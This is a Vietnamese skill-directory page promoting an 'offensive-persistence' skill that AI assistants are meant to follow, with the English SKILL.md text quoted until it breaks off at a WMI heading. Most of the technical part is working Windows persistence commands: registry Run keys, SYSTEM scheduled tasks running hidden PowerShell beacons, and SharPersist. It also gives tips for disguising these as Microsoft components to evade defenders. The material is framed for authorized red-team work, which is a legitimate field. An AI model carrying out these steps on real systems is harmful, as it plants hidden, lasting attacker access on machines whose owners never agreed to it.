Chuyển đến nội dung
Skillpedia
Bảo mật10k · #11966

offensive-persistence

Skill này làm gì

Skill này bao quát các kỹ thuật duy trì truy cập trên Windows và Linux mà đội red team kiểm thử trong các hợp đồng được ủy quyền, như khóa tự khởi động, tác vụ đã lên lịch và dịch vụ. Nó nhấn mạnh các phương pháp có thể đảo ngược và việc gỡ bỏ sạch sẽ. Nó dành cho chuyên gia bảo mật có văn bản cho phép.

Khi nào nên dùng

  • ✓Khi bạn kiểm thử xem kẻ tấn công có thể giữ quyền truy cập sau khi khởi động lại hay không trong một bài kiểm thử được ủy quyền.
  • ✓Khi bạn cần kiểm tra các vị trí tự khởi động, tác vụ đã lên lịch hoặc dịch vụ trên máy Windows.
  • ✓Khi bạn muốn ghi lại mọi cơ chế duy trì để có thể gỡ bỏ vào cuối hợp đồng.

Liên kết skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-persistence/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-persistence/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Chúng tôi được ủy quyền kiểm thử các endpoint Windows. Kiểm tra những cơ chế duy trì nào có thể xảy ra và ghi lại cách gỡ bỏ chúng.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Skill kiểm tra mức đặc quyền của bạn và hệ điều hành của mục tiêu trước. Sau đó nó chọn một cơ chế phù hợp, xác nhận nó tồn tại qua khởi động lại và ghi lại vị trí chính xác để dọn dẹp.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Offensive Persistence

Persistence ensures your access survives reboots, password changes, and routine maintenance. You plant mechanisms that re-establish a session or re-execute your payload without requiring a new initial compromise. The choice of persistence technique depends on your privilege level, the target operating system, the engagement scope, and the detection risk you can tolerate.

This skill covers both Windows and Linux persistence methods, from simple registry keys to domain-level Active Directory backdoors. Every technique here assumes you already have code execution on the target. Apply these in authorized engagements only.

Quick Workflow

  1. Assess your current privilege level (user-level vs admin/root vs domain admin).
  2. Identify the target OS version and security controls in place.
  3. Select a persistence mechanism matching your access level and stealth needs.
  4. Validate the persistence survives a reboot or logoff event.
  5. Document the exact mechanism and location for cleanup during engagement close.
  6. Layer multiple persistence methods at different privilege levels when scope allows.
  7. Prefer reversible methods that you can fully remove during remediation.

Windows: Registry Autostart

Registry Run and RunOnce keys execute commands at user logon or system startup. These are the simplest persistence mechanisms and work at both user and admin privilege levels.

# User-level persistence (HKCU, no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f

# Machine-level persistence (HKLM, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f

# RunOnce -- executes once then deletes the key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f

Using SharPersist for operational convenience:

# Add registry Run key persistence
SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add

# List current registry persistence
SharPersist.exe -t reg -k "hkcurun" -m list

# Remove it during cleanup
SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove

Additional autostart locations you should know:

HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

OPSEC note: Registry Run keys are the first place defenders check. Use innocuous-sounding value names. Sysmon event 13 (RegistryValueSet) captures all registry modifications to these keys.


Windows: Scheduled Tasks

Scheduled tasks provide flexible persistence with precise timing control. They survive reboots and can run as SYSTEM or any specified user.

# Create a scheduled task running as SYSTEM at boot
schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f

# Create a task that runs every 15 minutes
schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f

# Create a task triggered by user logon
schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f

SharPersist alternative: SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon

Using PowerShell for more control:

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings

OPSEC note: Nest task names under existing Microsoft directories (e.g., Microsoft\Windows\Maintenance\) to blend in. Event 4698 records task creation.


Windows: WMI Event

Câu hỏi thường gặp

Vì sao skill ưu tiên các phương pháp có thể đảo ngược?

Skill nói nên dùng các phương pháp có thể gỡ bỏ hoàn toàn trong quá trình khắc phục, để khách hàng được trả lại trạng thái sạch.

Nó bao quát những kỹ thuật Windows nào?

Nó bao quát khóa tự khởi động trong registry, tác vụ đã lên lịch, đăng ký WMI và tạo dịch vụ, cùng một số kỹ thuật khác.

Đây có chỉ dành cho kiểm thử được ủy quyền không?

Có. Skill được viết cho các hợp đồng có văn bản cho phép.

Chi tiết

Mô tả gốc của tác giả

Comprehensive persistence tradecraft for authorized red team engagements covering Windows and Linux mechanisms. Windows techniques include registry Run/RunOnce keys, scheduled tasks, WMI event subscriptions, DLL search order hijacking, COM object hijacking, Startup folder drops, service creation, Security Support Provider (SSP) DLL injection, and Active Directory persistence (AdminSDHolder abuse, DCShadow, Golden Ticket, Silver Ticket, Skeleton Key, SID History injection). Linux techniques include cron and at jobs, systemd timers and services, SSH authorized_keys injection, shell profile backd

repo: SnailSploit/Claude-Red

Độ phổ biến

Sao GitHub
10k
Vị trí xếp hạng
#11966
Giấy phép
MIT
Cập nhật
12/10/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự